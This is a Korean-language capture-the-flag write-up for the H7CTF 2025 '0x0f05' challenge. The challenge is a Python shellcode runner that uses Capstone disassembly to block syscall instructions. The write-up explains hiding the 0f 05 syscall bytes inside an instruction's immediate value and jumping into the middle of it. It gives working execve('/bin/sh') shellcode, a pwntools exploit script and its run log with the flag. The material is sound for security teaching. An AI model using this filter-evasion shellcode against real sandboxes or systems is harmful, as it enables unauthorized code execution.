TL;DR

Capstone이 디코드한 명령에만 syscall 필터를 적용하므로 즉시값에 0f 05를 숨기고 midstream jump로 실행하도록 설계했다. /bin/sh와 argv를 스택에 구성한 뒤 execve를 호출해 셸을 획득했다. 필터 우회와 호출 트릭을 결합한 shellcode 주입 공격

Analysis

1
import sys
2
import mmap
3
import ctypes
4
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
5
from prettytable import PrettyTable
6

7
def disassemble(shellcode):
8
    md = Cs(CS_ARCH_X86, CS_MODE_64)
9

10
    table = PrettyTable()
11
    table.field_names = ["Address", "Bytes", "Instruction"]
12
    table.align["Address"] = "l"
13
    table.align["Bytes"] = "l"
14
    table.align["Instruction"] = "l"
15

16
    instructions = []
17

18
    for insn in md.disasm(shellcode, 0x1000):
19
        address = f"0x{insn.address:08x}"
20
        bytes_hex = ' '.join(f"{b:02x}" for b in insn.bytes)
21
        instruction = f"{insn.mnemonic} {insn.op_str}".strip()
22

23
        table.add_row([address, bytes_hex, instruction])
24
        instructions.append((insn.mnemonic, insn.op_str))
25

26
    print("\n[+] Disassembled Instructions:")
27
    print(table)
28

29
    return instructions
30

31
def check_syscall(instructions):
32
    for mnemonic, op_str in instructions:
33
        if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"):
34
            print("[!] Detected syscall or int 0x80. Execution blocked.")
35
            sys.exit(1)
36

37
def execute_shellcode(shellcode):
38
    size = len(shellcode)
39

40
    mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
41
    mem.write(shellcode)
42
    mem.seek(0)
43

44
    libc = ctypes.CDLL(None)
45
    libc.mprotect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int)
46
    libc.mprotect(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(mem))), size, mmap.PROT_READ | mmap.PROT_EXEC)
47

48
    shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
49

50
    print("[+] Executing shellcode...")
51
    try:
52
        shell_func()
53
    except Exception as e:
54
        print(f"[!] Error executing shellcode: {e}")
55

56
if __name__ == "__main__":
57
    print("0xWelcome to ex-code-0x02!")
58
    print("[+] Enter shellcode (hex format, without 0x prefix):")
59
    hex_shellcode = input().strip()
60
    shellcode = bytes.fromhex(hex_shellcode)
61

62
    print("[+] Disassembling shellcode...")
63
    instructions = disassemble(shellcode)
64

65
    print("[+] Checking for restricted syscalls...")
66
    check_syscall(instructions)
67

68
    execute_shellcode(shellcode)

1
def disassemble(shellcode):
2
    md = Cs(CS_ARCH_X86, CS_MODE_64)
3
    for insn in md.disasm(shellcode, 0x1000):
4
        instruction = f"{insn.mnemonic} {insn.op_str}".strip()
5
        instructions.append((insn.mnemonic, insn.op_str))

Capstone이 shellcode를 주소 0x1000부터 순차적으로 해석해 mnemonic과 operand를 수집한다. 디코딩이 직선적이므로 byte stream 중간 진입은 고려하지 않는다.

1
def check_syscall(instructions):
2
    for mnemonic, op_str in instructions:
3
        if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"):
4
            sys.exit(1)

Capstone이 반환한 mnemonic을 문자열 비교로 필터링한다. 따라서 Capstone이 syscall이라고 결론내리지 못하도록 opcode 구성을 흐트러뜨리는 것이 목표다.

1
def execute_shellcode(shellcode):
2
    mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS,
3
                    mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
4
    mem.write(shellcode)
5
    shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
6
    shell_func()

필터를 통과한 바이트는 RWX mmap 영역에 복사된 뒤 함수 포인터로 실행된다. 추가 변조 없이 원본 바이트가 그대로 실행되므로 디스어셈블러를 속이면 실제 실행에서는 순수 기계어 흐름을 사용할 수 있다.

우회 설계

1
lea rdi, [rip+binsh]
2
sub rsp, 0x20
3
...
4
add eax, 0x9090050f
5
jmp rcx

add eax, imm32 명령은 Capstone 관점에서 정상 명령이지만 즉시값 첫 두 바이트가 0f 05다. 직전 명령에서 RCX를 해당 명령의 두 번째 바이트(0f)로 이동시키고 jmp rcx를 실행하면 실제 실행 흐름은 syscall로 진입한다. Capstone은 여전히 add로 인식하므로 필터가 발동되지 않는다.

perform_encryption과 달리 이 문제에서는 입력이 그대로 실행되므로 self modifying 단계가 필요 없다.
mmap는 shellcode 크기만큼 할당하므로 문자열과 패딩을 포함해 전체 길이가 실제로 도움이 되는지 확인했다. /bin/sh 문자열은 쉘코드 끝에 위치해 RIP-relative addressing으로 접근한다.

Exploit

/bin/sh\x00 문자열과 argv 배열을 스택에 배치해 execve 인자 준비
mov al, 0x3b로 시스템 콜 번호를 설정하고 xor rdx, rdx로 envp를 NULL로 맞춘다
lea rcx, [rip + disguise], add rcx, 1, jmp rcx 순서로 위장된 add eax, imm32 중간으로 진입
점프 착지 지점부터 syscall이 실행돼 셸을 획득한다. 이후 cat /flag.txt 실행으로 flag를 출력

1
from pwn import *
2

3
context.log_level = "debug"
4

5
shellcode_hex = (
6
    "4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b"
7
    "488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800"
8
)
9
MARK = b"__END_OF_CMD__"
10

11
p = remote("play.h7tex.com", 50424)
12
p.sendlineafter(b":", shellcode_hex.encode())
13

14
p.wait(1)
15
p.sendline(b"cat /flag.txt; echo " + MARK)
16

17
flag = p.recvuntil(MARK + b"\n", timeout=3).replace(MARK + b"\n", b"").decode().strip()
18
print(flag)
19
p.close()

1
andsopwn@meow:~/ctftemp/h7$ python3 -u "/home/andsopwn/ctftemp/h7/pwn/0x0f05/solve.py"
2
[x] Opening connection to play.h7tex.com on port 포트블라인드
3
[x] Opening connection to play.h7tex.com on port 포트블라인드: Trying 주소블라인드
4
[+] Opening connection to play.h7tex.com on port 포트블라인드: Done
5
[DEBUG] Received 0x1 bytes:
6
    b'0'
7
[DEBUG] Received 0x4f bytes:
8
    b'xWelcome to ex-code-0x02!\n'
9
    b'[+] Enter shellcode (hex format, without 0x prefix):\n'
10
[DEBUG] Sent 0x8b bytes:
11
    b'4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800\n'
12
[DEBUG] Sent 0x23 bytes:
13
    b'cat /flag.txt; echo __END_OF_CMD__\n'
14
[DEBUG] Received 0x1 bytes:
15
    b'H'
16
[DEBUG] Received 0x41 bytes:
17
    b'7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}\n'
18
    b'__END_OF_CMD__\n'
19
H7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}
20
[*] Closed connection to play.h7tex.com port 포트블라인드

[H7CTF 2025] 0x0f05 writeup

TL;DR

Analysis

Exploit